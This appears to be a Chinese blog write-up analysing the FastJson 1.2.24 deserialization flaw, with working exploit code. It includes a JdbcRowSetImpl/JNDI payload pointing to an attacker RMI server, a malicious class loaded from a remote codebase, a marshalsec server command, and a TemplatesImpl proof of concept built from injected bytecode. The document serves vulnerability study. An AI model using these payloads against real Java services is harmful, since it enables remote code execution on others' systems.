FastJson 1.2.24 反序列化

FastJson是一个Java语言编写的高性能功能完善的JSON库,可以将数据在JSON和Java Object之间互相转换,涉及到序列化和反序列化的操作,由此从1.2.24版本便开始爆出反序列化漏洞

环境搭建

创建Maven项目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.20.0-GA</version>
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.10</version>
</dependency>

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.alibaba.fastjson.JSON;

public class Test {
public static void main( String[] args ) {
User user=new User();
user.setName("l3yx");
String user_json= JSON.toJSONString(user);
System.out.println(user_json);

Object user1=JSON.parse(user_json);
Object user2=JSON.parseObject(user_json,User.class);

System.out.println(user1.getClass().getName());
System.out.println(user2.getClass().getName());
System.out.println(((User)user2).getName());
}
}

class User {
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}

可以看到parse(String)将JSON字符串解析成了一个JSONObject对象,parseObject(String,Class)将JSON字符串反序列化为一个相应的Java对象

另外FastJson还提供一个特殊字符段@type,通过这个字段可以指定反序列化任意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import com.alibaba.fastjson.JSON;

public class Test {
public static void main( String[] args ) {
String user_json="{\"@type\":\"org.example.User\",\"name\":\"l3yx\"}";
System.out.println(user_json);

Object user1=JSON.parse(user_json);
Object user2=JSON.parseObject(user_json,User.class);

System.out.println(user1.getClass().getName());
System.out.println(user2.getClass().getName());
System.out.println(((User)user2).getName());
}
}

class User {
private String name;
public String getName() {
return name;
}
public void setName(String name) {
System.out.println("setter...");
this.name = name;
}
}

而且在反序列化的同时调用了对象的set方法,说明FastJson在对JSON字符串反序列化的时候,会尝试通过setter方法对对象的属性进行赋值

那么在这种情况下,找到有可以利用的setter方法的类,就能完成该漏洞的利用

在满足一定条件下也会调用getter方法

  • 方法名长度大于等于4

  • 非静态方法

  • 以get开头且第4个字母为大写

  • 无传入参数

  • 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.util.Hashtable;

public class Test {
public static void main(String[] args) throws Exception {
String json="{\"table\":{}}";
System.out.println(json);

Foo foo=JSON.parseObject(json,Foo.class, Feature.SupportNonPublicField);

}
}

class Foo{
private Hashtable table;
public Hashtable getTable() {
System.out.println("getter");
return table;
}
}

具体的规则参考于 JAVA反序列化—FastJson组件

JdbcRowSetImpl+JNDI Reference Payload

先看一下JdbcRowSetImpl的源码

该类的connect()函数中325行和326行是一段JNDI查找远程对象的代码,如果this.getDataSourceName()可控并且能触发connect()函数的话就有可能实现JNDI注入达到RCE

setDataSourceName(String var1)函数赋值dataSourceName

setAutoCommit(boolean var1)函数调用了connect()

之前说到FastJson会自动调用setter来完成对对象属性的赋值,所以这里payload

1
2
3
4
5
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip:port/Evil",
"autoCommit":true
}

首先@type字段会指定反序列化com.sun.rowset.JdbcRowSetImpl

然后调用setDataSourceName(String var1)dataSourceName赋值,这里赋值为恶意的RMI服务地址

最后调用setAutoCommit(boolean var1)从而调用connect()触发JNDI注入,autoCommit的值类型是boolean,这里设置truefalse都可,JNDI注入部分可以参考深入理解JNDI注入与Java反序列化漏洞利用

下面构造一个恶意类,其中执行命令的代码可以放在构造方法,getObjectInstance()方法或者静态代码块中

1
2
3
4
5
6
7
8
9
10
import java.io.IOException;

public class Evil {
static{
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
}
}
}

编译好的class文件放于web服务器

通过RMI服务返回一个JNDI Naming Reference,受害者解码Reference时会去我们指定的Codebase远程地址加载Factory类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.*;

public class App {
public static void main( String[] args ) throws Exception {
System.setProperty("java.rmi.server.hostname","ip");//ip为服务器外网地址

Registry registry = LocateRegistry.createRegistry(9999);
String remote_class_server = "http://ip:80/";//恶意对象地址
Reference reference = new Reference("Evil", "Evil", remote_class_server);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Evil", referenceWrapper);
System.out.println("start...");
}
}

或者借助marshalsec项目,直接启动一个RMI服务器,监听9999端口,并制定加载远程类Evil.class

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip/#Evil" 9999

最后运行漏洞代码加载payload

在高版本中Java限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。默认不允许从远程的Codebase加载Reference工厂类。如果需要开启 RMI Registry 或者 COS Naming Service Provider的远程类加载功能,需要将相关属性值设置为true

1
2
3
4
5
6
7
8
9
10
11
12
13
import com.alibaba.fastjson.JSON;

public class Test {
public static void main( String[] args ) throws Exception {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String payload = "{\n" +
" \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\":\"rmi://ip:9999/Evil\",\n" +
" \"autoCommit\":true\n" +
"}";
JSON.parseObject(payload);
}
}

TemplatesImpl

还是先放上POC,关于TemplatesImpl的构造在学习JDK7u21Gadgets时已经接触过了 JDK7u21反序列化Gadgets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import javassist.*;
import org.apache.commons.codec.binary.Base64;

public class Demo {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();//ClassPool对象是一个表示class文件的CtClass对象的容器
CtClass cc = pool.makeClass("Evil");//创建Evil类
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//设置Evil类的父类为AbstractTranslet
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//创建无参构造函数
cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }");//设置无参构造函数体
cc.addConstructor(cons);//添加构造函数
byte[] byteCode=cc.toBytecode();//toBytecode得到Evil类的字节码

String evilCode=Base64.encodeBase64String(byteCode);

String poc="{\n" +
"\"@type\":\""+TemplatesImpl.class.getName()+"\",\n" +
"\"_bytecodes\":[\""+evilCode+"\"],\n" +
"\"_name\":\"xx\",\n" +
"\"_tfactory\":{ },\n" +
"\"_outputProperties\":{ }\n" +
"}";

System.out.println(poc);

JSON.parse(poc,Feature.SupportNonPublicField);
}
}

其中还有几点需要梳理一下

Feature.SupportNonPublicField

在漏洞触发时必须传入Feature.SupportNonPublicField参数,这也成了该条利用链的限制,导致不是很通用

1
JSON.parse(poc,Feature.SupportNonPublicField);

这是因为POC中有一些private属性,而且TemplatesImpl类中没有相应的set方法,所以需要传入该参数让其支持非public属性,当然如果private属性存在相应set方法的话,FastJson会自动调用其set方法完成赋值,不需要Feature.SupportNonPublicField参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class Test {
public static void main(String[] args) throws Exception {
String json="{\"name\":\"l3yx\",\"age\":20}";
System.out.println(json);
Person person1=JSON.parseObject(json,Person.class, Feature.SupportNonPublicField);
Person person2=JSON.parseObject(json,Person.class);

System.out.println(person1);
System.out.println(person2);
}
}

class Person{
private int age;
public String name;
Person(){
}
Person(int age,String name){
this.age=age;
this.name=name;
}
@Override
public String toString() {
return "Person{" +
"age=" + age +
", name='" + name + '\'' +
'}';
}
}

_outputProperties

FastJson对变量赋值的逻辑在parseField中实现

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField

key即为传入的属性名,经过了smartMatch处理

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch

会替换掉字段key中的_-,从而 _outputPropertiesgetOutputProperties() 可以成功关联上

所以删除掉POC中的_也是没有影响的

_bytecodes

_bytecodes参数是以base64编码传入的,FastJson提取byte[]数组字段值时会进行Base64解码

com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze

com.alibaba.fastjson.parser.JSONScanner#bytesValue

参考

深入理解JNDI注入与Java反序列化漏洞利用

Fastjson 1.2.24反序列化漏洞分析

JAVA反序列化 - FastJson组件

fastjson 1.2.24 反序列化导致任意命令执行漏洞

Fastjson 流程分析及 RCE 分析

FastJson 反序列化学习